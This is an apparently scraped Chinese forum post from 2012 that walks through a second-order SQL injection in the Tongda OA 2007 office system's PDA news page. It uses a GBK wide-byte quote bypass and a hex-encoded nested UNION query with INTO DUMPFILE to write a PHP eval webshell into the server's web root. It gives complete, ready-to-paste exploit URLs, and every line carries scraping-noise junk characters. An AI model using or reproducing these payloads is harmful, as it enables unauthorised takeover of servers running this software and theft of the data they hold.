目前测试通达OA2007版本 k6 P. t8 a$ V1 u: `
6 ?# ~% i9 b& G( B& r4 x+ N9 g3 p
3 x, O" [+ \. i O' QOffice Anywhere 2007 网络智能办公系统8 G1 R6 u( D* W/ C# Q
9 y `) B# R* H \& Nhttp://127.0.0.1/pda/news/read.php?P=%cf' 猪点。 暴web目录..
- ?5 S x9 J! e% ~
6 A; R1 \' }; s0 W4 Z. X5 S0 U! }+ i
7 D, g5 h, Y$ }5 |. ~" W9 H/ ^% k* K6 A这个时候看了下代码，存在注入的那个变量的语句中第3个字段，在该文件下面被另外个select语句调用了，灵光一闪，大概思路是这样的& `: \- j' k; k) Z
+ V' d3 d/ r4 m5 M k例如：SELECT * from USER where USER_ID='{$USERNAME}'
9 n8 C0 g" T; |其中有这么段字段声明$PROVIDER = $ROW['PROVIDER'];被下面个语句$query1 = "SELECT * from USER where USER_ID='{$PROVIDER}'";带入查询了; i- D8 V- t* y
: r0 `: i& S" T" H- `+ G
这个时候我们是不是可以组合起来使用哪？& Z$ x! ]# M3 C3 d( l( @) K
1 V' G* ]1 K9 ~- i0 Y7 A) S! l. r
第一条语句开始注入，union select 1,2,3,4,5,6,7,8,9,10...，比如第3个是PROVIDER字段，我们这样" ]6 p1 ^9 }: m5 B) k
union select 1,2,'UNION SELECT 1,1,1,'<?php eval($v);?>',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 into dumpfile'B:/m.php'#,4,5,6,7,8,9,10" L/ n! T/ t1 o: G" _
9 S7 |. }" {# c9 i9 }) _* B
这样'UNION SELECT 1,1,1,'<?php eval($v);?>',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 into dumpfile'B:/m.php'#这个语句就带入第二条语句去写webshell了7 H' a. f1 J" q, C0 Z
M& r: s% _; }$ M: W' B5 p' ^4 m
那么问题来了，单引号可以吗？当然是不可以的，^_^。。。/ L- c, `5 R. X: _# B! }5 @
. M. @8 i: C9 K. R7 w% k& g! P
那么我们用字符串格式带入进行hex编码
6 _& X$ Z$ X. W* h, Y' o ) B; e! ^& V) R4 N
%cf'UNION SELECT 1,2,3,0x27554e494f4e2053454c45435420312c312c312c273c3f706870206576616c282476293b3f3e272c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c3120696e746f2064756d7066696c6527423a2f6d2e7068702723,5,6,7,8,9,10,11,12,13,14,15,16%23
. i) I* P7 P0 h" f; j3 P, P: W
, E& K2 y4 I9 g" |4 J* j5 M测试ok，获取oa的webshell
% n! s$ J# f* H1 n: g
/ j( g. U0 C) G' c' j 3 `* u8 P7 I! K8 i g- U$ v: I
pda/news/read.php?P=%cf'or%281=1%29%23&NEWS_ID=%cf'UNION SELECT 1,2,3,0x27554E494F4E2053454C45435420312C312C312C273C3F706870206576616C282476293B3F3E272C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C3120696E746F2064756D7066696C6527443A2F4D594F412F776562726F6F742F6D2E7068702723,5,6,7,8,9,10,11,12,13,14,15,16%23
! ]' n4 y- a* ]直接getwebshell |
发表于 2012-12-20 08:09:24
收藏
支持
反对